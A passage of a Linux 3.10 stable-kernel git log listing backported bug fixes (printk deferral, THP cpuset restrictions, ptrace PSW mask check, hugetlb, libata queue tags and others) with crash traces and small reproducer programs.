[<8103caeb>] hrtimer_try_to_cancel+0x13/0x66 #3: (console_lock){+.+...}, at: [<8104fb5d>] vprintk_emit+0x3c7/0x3e4 stack backtrace: CPU: 0 PID: 74 Comm: trinity-main Not tainted 3.15.0-rc8-06195-g939f04b #2 00000000 81c3a310 8b995c14 81426f69 8b995c44 81425a99 8161f671 8161f570 8161f538 8161f559 8161f538 8b995c78 8b142bb0 00000004 8b142fdc 8b142bb0 8b995ca8 8104a62d 8b142fac 000016f2 81c3a310 00000001 00000001 00000003 Call Trace: [<81426f69>] dump_stack+0x16/0x18 [<81425a99>] print_circular_bug+0x18f/0x19c [<8104a62d>] __lock_acquire+0x9ea/0xc6d [<8104a942>] lock_acquire+0x92/0x101 [<811c60be>] ? serial8250_console_write+0x8c/0x10c [<811c6032>] ? wait_for_xmitr+0x76/0x76 [<8142f11d>] _raw_spin_lock_irqsave+0x2e/0x3e [<811c60be>] ? serial8250_console_write+0x8c/0x10c [<811c60be>] serial8250_console_write+0x8c/0x10c [<8104af87>] ? lock_release+0x191/0x223 [<811c6032>] ? wait_for_xmitr+0x76/0x76 [<8104e402>] call_console_drivers.constprop.31+0x87/0x118 [<8104f5d5>] console_unlock+0x1d7/0x398 [<8104fb70>] vprintk_emit+0x3da/0x3e4 [<81425f76>] printk+0x17/0x19 [<8105bfa0>] clockevents_program_min_delta+0x104/0x116 [<8105cc1c>] tick_program_event+0x1e/0x23 [<8103c43c>] hrtimer_force_reprogram+0x88/0x8f [<8103c49e>] __remove_hrtimer+0x5b/0x79 [<8103cb21>] hrtimer_try_to_cancel+0x49/0x66 [<8103cb4b>] hrtimer_cancel+0xd/0x18 [<8107f102>] perf_swevent_cancel_hrtimer.part.60+0x2b/0x30 [<81080705>] task_clock_event_stop+0x20/0x64 [<81080756>] task_clock_event_del+0xd/0xf [<81081350>] event_sched_out+0xab/0x11e [<810813e0>] group_sched_out+0x1d/0x66 [<81081682>] ctx_sched_out+0xaf/0xbf [<81081e04>] __perf_event_task_sched_out+0x1ed/0x34f [<8104416d>] ? __dequeue_entity+0x23/0x27 [<81044505>] ? pick_next_task_fair+0xb1/0x120 [<8142cacc>] __schedule+0x4c6/0x4cb [<81047574>] ? trace_hardirqs_off_caller+0xd7/0x108 [<810475b0>] ? trace_hardirqs_off+0xb/0xd [<81056346>] ? rcu_irq_exit+0x64/0x77 Fix the problem by using printk_deferred() which does not call into the scheduler. Reported-by: Fengguang Wu Signed-off-by: Jan Kara Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f07c1574a2387d3b4996b0c0e67edd4e22a6683e Author: John Stultz Date: Wed Jun 4 16:11:40 2014 -0700 printk: rename printk_sched to printk_deferred commit aac74dc495456412c4130a1167ce4beb6c1f0b38 upstream. After learning we'll need some sort of deferred printk functionality in the timekeeping core, Peter suggested we rename the printk_sched function so it can be reused by needed subsystems. This only changes the function name. No logic changes. Signed-off-by: John Stultz Reviewed-by: Steven Rostedt Cc: Jan Kara Cc: Peter Zijlstra Cc: Jiri Bohac Cc: Thomas Gleixner Cc: Ingo Molnar Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 16344734edda92b0ad2d9a76f30c27d99d714269 Author: Lars-Peter Clausen Date: Thu Jul 17 16:59:00 2014 +0100 iio: buffer: Fix demux table creation commit 61bd55ce1667809f022be88da77db17add90ea4e upstream. When creating the demux table we need to iterate over the selected scan mask for the buffer to get the samples which should be copied to destination buffer. Right now the code uses the mask which contains all active channels, which means the demux table contains entries which causes it to copy all the samples from source to destination buffer one by one without doing any demuxing. Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 92c38e3ae05ac6699ddbdb7c6ebe1a89a05ab73e Author: Malcolm Priestley Date: Wed Jul 23 21:35:12 2014 +0100 staging: vt6655: Fix disassociated messages every 10 seconds commit 4aa0abed3a2a11b7d71ad560c1a3e7631c5a31cd upstream. byReAssocCount is incremented every second resulting in disassociated message being send every 10 seconds whether connection or not. byReAssocCount should only advance while eCommandState is in WLAN_ASSOCIATE_WAIT Change existing scope to if condition. Signed-off-by: Malcolm Priestley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c9d5ebb21e883db8e181e436667c0b241b79d5d1 Author: David Rientjes Date: Wed Jul 30 16:08:24 2014 -0700 mm, thp: do not allow thp faults to avoid cpuset restrictions commit b104a35d32025ca740539db2808aa3385d0f30eb upstream. The page allocator relies on __GFP_WAIT to determine if ALLOC_CPUSET should be set in allocflags. ALLOC_CPUSET controls if a page allocation should be restricted only to the set of allowed cpuset mems. Transparent hugepages clears __GFP_WAIT when defrag is disabled to prevent the fault path from using memory compaction or direct reclaim. Thus, it is unfairly able to allocate outside of its cpuset mems restriction as a side-effect. This patch ensures that ALLOC_CPUSET is only cleared when the gfp mask is truly GFP_ATOMIC by verifying it is also not a thp allocation. Signed-off-by: David Rientjes Reported-by: Alex Thorlton Tested-by: Alex Thorlton Cc: Bob Liu Cc: Dave Hansen Cc: Hedi Berriche Cc: Hugh Dickins Cc: Johannes Weiner Cc: Kirill A. Shutemov Cc: Mel Gorman Cc: Rik van Riel Cc: Srivatsa S. Bhat Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c4ebbff1b78d402605ef9d6f5766e376a89f7933 Author: James Bottomley Date: Thu Jul 3 19:17:34 2014 +0200 scsi: handle flush errors properly commit 89fb4cd1f717a871ef79fa7debbe840e3225cd54 upstream. Flush commands don't transfer data and thus need to be special cased in the I/O completion handler so that we can propagate errors to the block layer and filesystem. Signed-off-by: James Bottomley Reported-by: Steven Haber Tested-by: Steven Haber Reviewed-by: Martin K. Petersen Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7d8e7872a8469e64da6bc4dad95260093b488b6b Author: Alexandre Bounine Date: Wed Jul 30 16:08:26 2014 -0700 rapidio/tsi721_dma: fix failure to obtain transaction descriptor commit 0193ed8225e1a79ed64632106ec3cc81798cb13c upstream. This is a bug fix for the situation when function tsi721_desc_get() fails to obtain a free transaction descriptor. The bug usually results in a memory access crash dump when data transfer scatter-gather list has more entries than size of hardware buffer descriptors ring. This fix ensures that error is properly returned to a caller instead of an invalid entry. This patch is applicable to kernel versions starting from v3.5. Signed-off-by: Alexandre Bounine Cc: Matt Porter Cc: Andre van Herk Cc: Stef van Os Cc: Vinod Koul Cc: Dan Williams Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df255147ae660988b06f992d84dc6f2bf396815d Author: Eliad Peller Date: Thu Jul 17 15:00:56 2014 +0300 cfg80211: fix mic_failure tracing commit 8c26d458394be44e135d1c6bd4557e1c4e1a0535 upstream. tsc can be NULL (mac80211 currently always passes NULL), resulting in NULL-dereference. check before copying it. Signed-off-by: Eliad Peller Signed-off-by: Emmanuel Grumbach Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7966fda3743567b2e4e8566e301d103825d05cd1 Author: Konstantin Khlebnikov Date: Fri Jul 25 09:17:12 2014 +0100 ARM: 8115/1: LPAE: reduce damage caused by idmap to virtual memory layout commit 811a2407a3cf7bbd027fbe92d73416f17485a3d8 upstream. On LPAE, each level 1 (pgd) page table entry maps 1GiB, and the level 2 (pmd) entries map 2MiB. When the identity mapping is created on LPAE, the pgd pointers are copied from the swapper_pg_dir. If we find that we need to modify the contents of a pmd, we allocate a new empty pmd table and insert it into the appropriate 1GB slot, before then filling it with the identity mapping. However, if the 1GB slot covers the kernel lowmem mappings, we obliterate those mappings. When replacing a PMD, first copy the old PMD contents to the new PMD, so that we preserve the existing mappings, particularly the mappings of the kernel itself. [rewrote commit message and added code comment -- rmk] Fixes: ae2de101739c ("ARM: LPAE: Add identity mapping support for the 3-level page table format") Signed-off-by: Konstantin Khlebnikov Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0a26c7242e7cf91f9ddec70a4582e94199daca80 Author: Milan Broz Date: Tue Jul 29 18:41:09 2014 +0000 crypto: af_alg - properly label AF_ALG socket commit 4c63f83c2c2e16a13ce274ee678e28246bd33645 upstream. Th AF_ALG socket was missing a security label (e.g. SELinux) which means that socket was in "unlabeled" state. This was recently demonstrated in the cryptsetup package (cryptsetup v1.6.5 and later.) See https://bugzilla.redhat.com/show_bug.cgi?id=1115120 This patch clones the sock's label from the parent sock and resolves the issue (similar to AF_BLUETOOTH protocol family). Signed-off-by: Milan Broz Acked-by: Paul Moore Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b790629825734456583cd60233e590d5f589d90f Author: Greg Kroah-Hartman Date: Thu Jul 31 14:55:39 2014 -0700 Linux 3.10.51 Signed-off-by: Pranav Vashi commit 636aba85037c40ae5951e2027514f06a62619355 Author: Zoltan Kiss Date: Wed Mar 26 22:37:45 2014 +0000 core, nfqueue, openvswitch: Orphan frags in skb_zerocopy and handle errors commit 36d5fe6a000790f56039afe26834265db0a3ad4c upstream. skb_zerocopy can copy elements of the frags array between skbs, but it doesn't orphan them. Also, it doesn't handle errors, so this patch takes care of that as well, and modify the callers accordingly. skb_tx_error() is also added to the callers so they will signal the failed delivery towards the creator of the skb. Signed-off-by: Zoltan Kiss Signed-off-by: David S. Miller [bwh: Backported to 3.13: skb_zerocopy() is new in 3.14, but was moved from a static function in nfnetlink_queue. We need to patch that and its caller, but not openvswitch.] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ebcb1f6f031b85834fbf831394ff3d7e78f201a2 Author: Michael Brown Date: Thu Jul 10 12:26:20 2014 +0100 x86/efi: Include a .bss section within the PE/COFF headers commit c7fb93ec51d462ec3540a729ba446663c26a0505 upstream. The PE/COFF headers currently describe only the initialised-data portions of the image, and result in no space being allocated for the uninitialised-data portions. Consequently, the EFI boot stub will end up overwriting unexpected areas of memory, with unpredictable results. Fix by including a .bss section in the PE/COFF headers (functionally equivalent to the init_size field in the bzImage header). Signed-off-by: Michael Brown Cc: Thomas Bächler Cc: Josh Boyer Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d5161e8a6ffffbc913b9dac4bdd06e0c1e59bbdb Author: Martin Schwidefsky Date: Mon Jun 23 15:29:40 2014 +0200 s390/ptrace: fix PSW mask check commit dab6cf55f81a6e16b8147aed9a843e1691dcd318 upstream. The PSW mask check of the PTRACE_POKEUSR_AREA command is incorrect. The PSW_MASK_USER define contains the PSW_MASK_ASC bits, the ptrace interface accepts all combinations for the address-space-control bits. To protect the kernel space the PSW mask check in ptrace needs to reject the address-space-control bit combination for home space. Fixes CVE-2014-3534 Signed-off-by: Martin Schwidefsky Cc: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dfe8690d86f13f18c326078ed573dca627fe928b Author: Naoya Horiguchi Date: Wed Jul 23 14:00:19 2014 -0700 mm: hugetlb: fix copy_hugetlb_page_range() commit 0253d634e0803a8376a0d88efee0bf523d8673f9 upstream. Commit 4a705fef9862 ("hugetlb: fix copy_hugetlb_page_range() to handle migration/hwpoisoned entry") changed the order of huge_ptep_set_wrprotect() and huge_ptep_get(), which leads to breakage in some workloads like hugepage-backed heap allocation via libhugetlbfs. This patch fixes it. The test program for the problem is shown below: $ cat heap.c #include #include #include #define HPS 0x200000 int main() { int i; char *p = malloc(HPS); memset(p, '1', HPS); for (i = 0; i < 5; i++) { if (!fork()) { memset(p, '2', HPS); p = malloc(HPS); memset(p, '3', HPS); free(p); return 0; } } sleep(1); free(p); return 0; } $ export HUGETLB_MORECORE=yes ; export HUGETLB_NO_PREFAULT= ; hugectl --heap ./heap Fixes 4a705fef9862 ("hugetlb: fix copy_hugetlb_page_range() to handle migration/hwpoisoned entry"), so is applicable to -stable kernels which include it. Signed-off-by: Naoya Horiguchi Reported-by: Guillaume Morin Suggested-by: Guillaume Morin Acked-by: Hugh Dickins Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de5d7e1c7ec4ec6b41ae2013c6936e02ff8c61bd Author: Sven Wegener Date: Tue Jul 22 10:26:06 2014 +0200 x86_32, entry: Store badsys error code in %eax commit 8142b215501f8b291a108a202b3a053a265b03dd upstream. Commit 554086d ("x86_32, entry: Do syscall exit work on badsys (CVE-2014-4508)") introduced a regression in the x86_32 syscall entry code, resulting in syscall() not returning proper errors for undefined syscalls on CPUs supporting the sysenter feature. The following code: > int result = syscall(666); > printf("result=%d errno=%d error=%s\n", result, errno, strerror(errno)); results in: > result=666 errno=0 error=Success Obviously, the syscall return value is the called syscall number, but it should have been an ENOSYS error. When run under ptrace it behaves correctly, which makes it hard to debug in the wild: > result=-1 errno=38 error=Function not implemented The %eax register is the return value register. For debugging via ptrace the syscall entry code stores the complete register context on the stack. The badsys handlers only store the ENOSYS error code in the ptrace register set and do not set %eax like a regular syscall handler would. The old resume_userspace call chain contains code that clobbers %eax and it restores %eax from the ptrace registers afterwards. The same goes for the ptrace-enabled call chain. When ptrace is not used, the syscall return value is the passed-in syscall number from the untouched %eax register. Use %eax as the return value register in syscall_badsys and sysenter_badsys, like a real syscall handler does, and have the caller push the value onto the stack for ptrace access. Signed-off-by: Sven Wegener Link: http://lkml.kernel.org/r/alpine.LNX.2.11.1407221022380.31021@titan.int.lan.stealer.net Reviewed-and-tested-by: Andy Lutomirski Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 06d9c3ad9d0bc284b165c565e0134f5399fcf634 Author: Guenter Roeck Date: Fri Jul 18 07:31:18 2014 -0700 hwmon: (smsc47m192) Fix temperature limit and vrm write operations commit 043572d5444116b9d9ad8ae763cf069e7accbc30 upstream. Temperature limit clamps are applied after converting the temperature from milli-degrees C to degrees C, so either the clamp limit needs to be specified in degrees C, not milli-degrees C, or clamping must happen before converting to degrees C. Use the latter method to avoid overflows. vrm is an u8, so the written value needs to be limited to [0, 255]. Cc: Axel Lin Signed-off-by: Guenter Roeck Reviewed-by: Jean Delvare Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 45a2ba84c376d30cf2b967d9cdeedb3cf0ecb533 Author: John David Anglin Date: Wed Jul 23 19:44:12 2014 -0400 parisc: Remove SA_RESTORER define commit 20dbea494543aefaace874cc3ec93a39b94b1ec4 upstream. The sa_restorer field in struct sigaction is obsolete and no longer in the parisc implementation. However, the core code assumes the field is present if SA_RESTORER is defined. So, the define needs to be removed. Signed-off-by: John David Anglin Signed-off-by: Helge Deller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 388c050f0645a62c87fae1e8a8061875d9a7621e Author: Silesh C V Date: Wed Jul 23 13:59:59 2014 -0700 coredump: fix the setting of PF_DUMPCORE commit aed8adb7688d5744cb484226820163af31d2499a upstream. Commit 079148b919d0 ("coredump: factor out the setting of PF_DUMPCORE") cleaned up the setting of PF_DUMPCORE by removing it from all the linux_binfmt->core_dump() and moving it to zap_threads().But this ended up clearing all the previously set flags. This causes issues during core generation when tsk->flags is checked again (eg. for PF_USED_MATH to dump floating point registers). Fix this. Signed-off-by: Silesh C V Acked-by: Oleg Nesterov Cc: Mandeep Singh Baines Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6da3f40858120ca6302c6aa993cf4fcea828cbfe Author: Dmitry Torokhov Date: Sat Jul 19 16:30:31 2014 -0700 Input: fix defuzzing logic commit 50c5d36dab930b1f1b1e3348b8608aa8b9ee7610 upstream. We attempt to remove noise from coordinates reported by devices in input_handle_abs_event(), unfortunately, unless we were dropping the event altogether, we were ignoring the adjusted value and were passing on the original value instead. Reviewed-by: Andrew de los Reyes Reviewed-by: Benson Leung Reviewed-by: David Herrmann Reviewed-by: Henrik Rydberg Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56316f14ffe2cb82579f7995f55ee866b22b9415 Author: Mikulas Patocka Date: Tue Mar 4 17:13:47 2014 -0500 slab_common: fix the check for duplicate slab names commit 694617474e33b8603fc76e090ed7d09376514b1a upstream. The patch 3e374919b314f20e2a04f641ebc1093d758f66a4 is supposed to fix the problem where kmem_cache_create incorrectly reports duplicate cache name and fails. The problem is described in the header of that patch. However, the patch doesn't really fix the problem because of these reasons: * the logic to test for debugging is reversed. It was intended to perform the check only if slub debugging is enabled (which implies that caches with the same parameters are not merged). Therefore, there should be #if !defined(CONFIG_SLUB) || defined(CONFIG_SLUB_DEBUG_ON) The current code has the condition reversed and performs the test if debugging is disabled. * slub debugging may be enabled or disabled based on kernel command line, CONFIG_SLUB_DEBUG_ON is just the default settings. Therefore the test based on definition of CONFIG_SLUB_DEBUG_ON is unreliable. This patch fixes the problem by removing the test "!defined(CONFIG_SLUB_DEBUG_ON)". Therefore, duplicate names are never checked if the SLUB allocator is used. Note to stable kernel maintainers: when backporint this patch, please backport also the patch 3e374919b314f20e2a04f641ebc1093d758f66a4. Acked-by: David Rientjes Acked-by: Christoph Lameter Signed-off-by: Mikulas Patocka Signed-off-by: Pekka Enberg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6fccebb8915c7ddb077a93807d0bbe09e77b48b6 Author: Christoph Lameter Date: Sat Sep 21 21:56:34 2013 +0000 slab_common: Do not check for duplicate slab names commit 3e374919b314f20e2a04f641ebc1093d758f66a4 upstream. SLUB can alias multiple slab kmem_create_requests to one slab cache to save memory and increase the cache hotness. As a result the name of the slab can be stale. Only check the name for duplicates if we are in debug mode where we do not merge multiple caches. This fixes the following problem reported by Jonathan Brassow: The problem with kmem_cache* is this: *) Assume CONFIG_SLUB is set 1) kmem_cache_create(name="foo-a") - creates new kmem_cache structure 2) kmem_cache_create(name="foo-b") - If identical cache characteristics, it will be merged with the previously created cache associated with "foo-a". The cache's refcount will be incremented and an alias will be created via sysfs_slab_alias(). 3) kmem_cache_destroy() - Attempting to destroy cache associated with "foo-a", but instead the refcount is simply decremented. I don't even think the sysfs aliases are ever removed... 4) kmem_cache_create(name="foo-a") - This FAILS because kmem_cache_sanity_check colides with the existing name ("foo-a") associated with the non-removed cache. This is a problem for RAID (specifically dm-raid) because the name used for the kmem_cache_create is ("raid%d-%p", level, mddev). If the cache persists for long enough, the memory address of an old mddev will be reused for a new mddev - causing an identical formulation of the cache name. Even though kmem_cache_destory had long ago been used to delete the old cache, the merging of caches has cause the name and cache of that old instance to be preserved and causes a colision (and thus failure) in kmem_cache_create(). I see this regularly in my testing. Reported-by: Jonathan Brassow Signed-off-by: Christoph Lameter Signed-off-by: Pekka Enberg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f3f66403daa39248f2ff88afc3cfece7e8041861 Author: Tony Luck Date: Fri Jul 18 11:43:01 2014 -0700 tracing: Fix wraparound problems in "uptime" trace clock commit 58d4e21e50ff3cc57910a8abc20d7e14375d2f61 upstream. The "uptime" trace clock added in: commit 8aacf017b065a805d27467843490c976835eb4a5 tracing: Add "uptime" trace clock that uses jiffies has wraparound problems when the system has been up more than 1 hour 11 minutes and 34 seconds. It converts jiffies to nanoseconds using: (u64)jiffies_to_usecs(jiffy) * 1000ULL but since jiffies_to_usecs() only returns a 32-bit value, it truncates at 2^32 microseconds. An additional problem on 32-bit systems is that the argument is "unsigned long", so fixing the return value only helps until 2^32 jiffies (49.7 days on a HZ=1000 system). Avoid these problems by using jiffies_64 as our basis, and not converting to nanoseconds (we do convert to clock_t because user facing API must not be dependent on internal kernel HZ values). Link: http://lkml.kernel.org/p/99d63c5bfe9b320a3b428d773825a37095bf6a51.1405708254.git.tony.luck@intel.com Fixes: 8aacf017b065 "tracing: Add "uptime" trace clock that uses jiffies" Signed-off-by: Tony Luck Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d28d5b2fc50d34d372c4e7702b5b1c2f643fd20f Author: Tejun Heo Date: Sat Jul 5 18:43:21 2014 -0400 blkcg: don't call into policy draining if root_blkg is already gone commit 0b462c89e31f7eb6789713437eb551833ee16ff3 upstream. While a queue is being destroyed, all the blkgs are destroyed and its ->root_blkg pointer is set to NULL. If someone else starts to drain while the queue is in this state, the following oops happens. NULL pointer dereference at 0000000000000028 IP: [] blk_throtl_drain+0x84/0x230 PGD e4a1067 PUD b773067 PMD 0 Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC Modules linked in: cfq_iosched(-) [last unloaded: cfq_iosched] CPU: 1 PID: 537 Comm: bash Not tainted 3.16.0-rc3-work+ #2 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 task: ffff88000e222250 ti: ffff88000efd4000 task.ti: ffff88000efd4000 RIP: 0010:[] [] blk_throtl_drain+0x84/0x230 RSP: 0018:ffff88000efd7bf0 EFLAGS: 00010046 RAX: 0000000000000000 RBX: ffff880015091450 RCX: 0000000000000001 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffff88000efd7c10 R08: 0000000000000000 R09: 0000000000000001 R10: ffff88000e222250 R11: 0000000000000000 R12: ffff880015091450 R13: ffff880015092e00 R14: ffff880015091d70 R15: ffff88001508fc28 FS: 00007f1332650740(0000) GS:ffff88001fa80000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000000028 CR3: 0000000009446000 CR4: 00000000000006e0 Stack: ffffffff8144e8f6 ffff880015091450 0000000000000000 ffff880015091d80 ffff88000efd7c28 ffffffff8144ae2f ffff880015091450 ffff88000efd7c58 ffffffff81427641 ffff880015091450 ffffffff82401f00 ffff880015091450 Call Trace: [] blkcg_drain_queue+0x1f/0x60 [] __blk_drain_queue+0x71/0x180 [] blk_queue_bypass_start+0x6e/0xb0 [] blkcg_deactivate_policy+0x38/0x120 [] blk_throtl_exit+0x34/0x50 [] blkcg_exit_queue+0x35/0x40 [] blk_release_queue+0x26/0xd0 [] kobject_cleanup+0x38/0x70 [] kobject_put+0x28/0x60 [] blk_put_queue+0x15/0x20 [] scsi_device_dev_release_usercontext+0x16b/0x1c0 [] execute_in_process_context+0x89/0xa0 [] scsi_device_dev_release+0x1c/0x20 [] device_release+0x32/0xa0 [] kobject_cleanup+0x38/0x70 [] kobject_put+0x28/0x60 [] put_device+0x17/0x20 [] __scsi_remove_device+0xa9/0xe0 [] scsi_remove_device+0x2b/0x40 [] sdev_store_delete+0x27/0x30 [] dev_attr_store+0x18/0x30 [] sysfs_kf_write+0x3e/0x50 [] kernfs_fop_write+0xe7/0x170 [] vfs_write+0xaf/0x1d0 [] SyS_write+0x4d/0xc0 [] system_call_fastpath+0x16/0x1b 776687bce42b ("block, blk-mq: draining can't be skipped even if bypass_depth was non-zero") made it easier to trigger this bug by making blk_queue_bypass_start() drain even when it loses the first bypass test to blk_cleanup_queue(); however, the bug has always been there even before the commit as blk_queue_bypass_start() could race against queue destruction, win the initial bypass test but perform the actual draining after blk_cleanup_queue() already destroyed all blkgs. Fix it by skippping calling into policy draining if all the blkgs are already gone. Signed-off-by: Tejun Heo Reported-by: Shirish Pargaonkar Reported-by: Sasha Levin Reported-by: Jet Chen Tested-by: Shirish Pargaonkar Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 85827ad2309c1d2b158bb920bb05a96c3a63a9b6 Author: Romain Degez Date: Fri Jul 11 18:08:13 2014 +0200 ahci: add support for the Promise FastTrak TX8660 SATA HBA (ahci mode) commit b32bfc06aefab61acc872dec3222624e6cd867ed upstream. Add support of the Promise FastTrak TX8660 SATA HBA in ahci mode by registering the board in the ahci_pci_tbl[]. Note: this HBA also provide a hardware RAID mode when activated in BIOS but specific drivers from the manufacturer are required in this case. Signed-off-by: Romain Degez Tested-by: Romain Degez Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 717de55f23cac6c4ba673717a4d7d3d765718287 Author: Tejun Heo Date: Wed Jul 23 09:05:27 2014 -0400 libata: introduce ata_host->n_tags to avoid oops on SAS controllers commit 1a112d10f03e83fb3a2fdc4c9165865dec8a3ca6 upstream. 1871ee134b73 ("libata: support the ata host which implements a queue depth less than 32") directly used ata_port->scsi_host->can_queue from ata_qc_new() to determine the number of tags supported by the host; unfortunately, SAS controllers doing SATA don't initialize ->scsi_host leading to the following oops. BUG: unable to handle kernel NULL pointer dereference at 0000000000000058 IP: [] ata_qc_new_init+0x188/0x1b0 PGD 0 Oops: 0002 [#1] SMP Modules linked in: isci libsas scsi_transport_sas mgag200 drm_kms_helper ttm CPU: 1 PID: 518 Comm: udevd Not tainted 3.16.0-rc6+ #62 Hardware name: Intel Corporation S2600CO/S2600CO, BIOS SE5C600.86B.02.02.0002.122320131210 12/23/2013 task: ffff880c1a00b280 ti: ffff88061a000000 task.ti: ffff88061a000000 RIP: 0010:[] [] ata_qc_new_init+0x188/0x1b0 RSP: 0018:ffff88061a003ae8 EFLAGS: 00010012 RAX: 0000000000000001 RBX: ffff88000241ca80 RCX: 00000000000000fa RDX: 0000000000000020 RSI: 0000000000000020 RDI: ffff8806194aa298 RBP: ffff88061a003ae8 R08: ffff8806194a8000 R09: 0000000000000000 R10: 0000000000000000 R11: ffff88000241ca80 R12: ffff88061ad58200 R13: ffff8806194aa298 R14: ffffffff814e67a0 R15: ffff8806194a8000 FS: 00007f3ad7fe3840(0000) GS:ffff880627620000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000058 CR3: 000000061a118000 CR4: 00000000001407e0 Stack: ffff88061a003b20 ffffffff814e96e1 ffff88000241ca80 ffff88061ad58200 ffff8800b6bf6000 ffff880c1c988000 ffff880619903850 ffff88061a003b68 ffffffffa0056ce1 ffff88061a003b48 0000000013d6e6f8 ffff88000241ca80 Call Trace: [] ata_sas_queuecmd+0xa1/0x430 [] sas_queuecommand+0x191/0x220 [libsas] [] scsi_dispatch_cmd+0x10e/0x300 [] scsi_request_fn+0x2f5/0x550 [] __blk_run_queue+0x33/0x40 [] queue_unplugged+0x2a/0x90 [] blk_flush_plug_list+0x1b4/0x210 [] blk_finish_plug+0x14/0x50 [] __do_page_cache_readahead+0x198/0x1f0 [] force_page_cache_readahead+0x31/0x50 [] page_cache_sync_readahead+0x3e/0x50 [] generic_file_read_iter+0x496/0x5a0 [] blkdev_read_iter+0x37/0x40 [] new_sync_read+0x7e/0xb0 [] vfs_read+0x94/0x170 [] SyS_read+0x46/0xb0 [] ? SyS_lseek+0x91/0xb0 [] system_call_fastpath+0x16/0x1b Code: 00 00 00 88 50 29 83 7f 08 01 19 d2 83 e2 f0 83 ea 50 88 50 34 c6 81 1d 02 00 00 40 c6 81 17 02 00 00 00 5d c3 66 0f 1f 44 00 00 <89> 14 25 58 00 00 00 Fix it by introducing ata_host->n_tags which is initialized to ATA_MAX_QUEUE - 1 in ata_host_init() for SAS controllers and set to scsi_host_template->can_queue in ata_host_register() for !SAS ones. As SAS hosts are never registered, this will give them the same ATA_MAX_QUEUE - 1 as before. Note that we can't use scsi_host->can_queue directly for SAS hosts anyway as they can go higher than the libata maximum. Signed-off-by: Tejun Heo Reported-by: Mike Qiu Reported-by: Jesse Brandeburg Reported-by: Peter Hurley Reported-by: Peter Zijlstra Tested-by: Alexey Kardashevskiy Fixes: 1871ee134b73 ("libata: support the ata host which implements a queue depth less than 32") Cc: Kevin Hao Cc: Dan Williams Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6d787adb6be1bed319431c505a0ef902f991a8cb Author: Kevin Hao Date: Sat Jul 12 12:08:24 2014 +0800 libata: support the ata host which implements a queue depth less than 32 commit 1871ee134b73fb4cadab75752a7152ed2813c751 upstream. The sata on fsl mpc8315e is broken after the commit 8a4aeec8d2d6 ("libata/ahci: accommodate tag ordered controllers"). The reason is that the ata controller on this SoC only implement a queue depth of 16. When issuing the commands in tag order, all the commands in tag 16 ~ 31 are mapped to tag 0 unconditionally and then causes the sata malfunction. It makes no senses to use a 32 queue in software while the hardware has less queue depth. So consider the queue depth implemented by the hardware when requesting a command tag. Fixes: 8a4aeec8d2d6 ("libata/ahci: accommodate tag ordered controllers") Signed-off-by: Kevin Hao Acked-by: Dan Williams Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ce5ad01ea468d42ecba3197a12357ce2c87f277b Author: Christoph Hellwig Date: Tue Jul 8 12:25:28 2014 +0200 block: don't assume last put of shared tags is for the host commit d45b3279a5a2252cafcd665bbf2db8c9b31ef783 upstream. There is no inherent reason why the last put of a tag structure must be the one for the Scsi_Host, as device model objects can be held for arbitrary periods. Merge blk_free_tags and __blk_free_tags into a single funtion that just release a references and get rid of the BUG() when the host reference wasn't the last. Signed-off-by: Christoph Hellwig Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d2441ab041fa9afa60d6e1e5c9a256babf0bb86e Author: Mikulas Patocka Date: Wed Jul 2 12:46:23 2014 -0400 block: provide compat ioctl for BLKZEROOUT commit 3b3a1814d1703027f9867d0f5cbbfaf6c7482474 upstream. This patch provides the compat 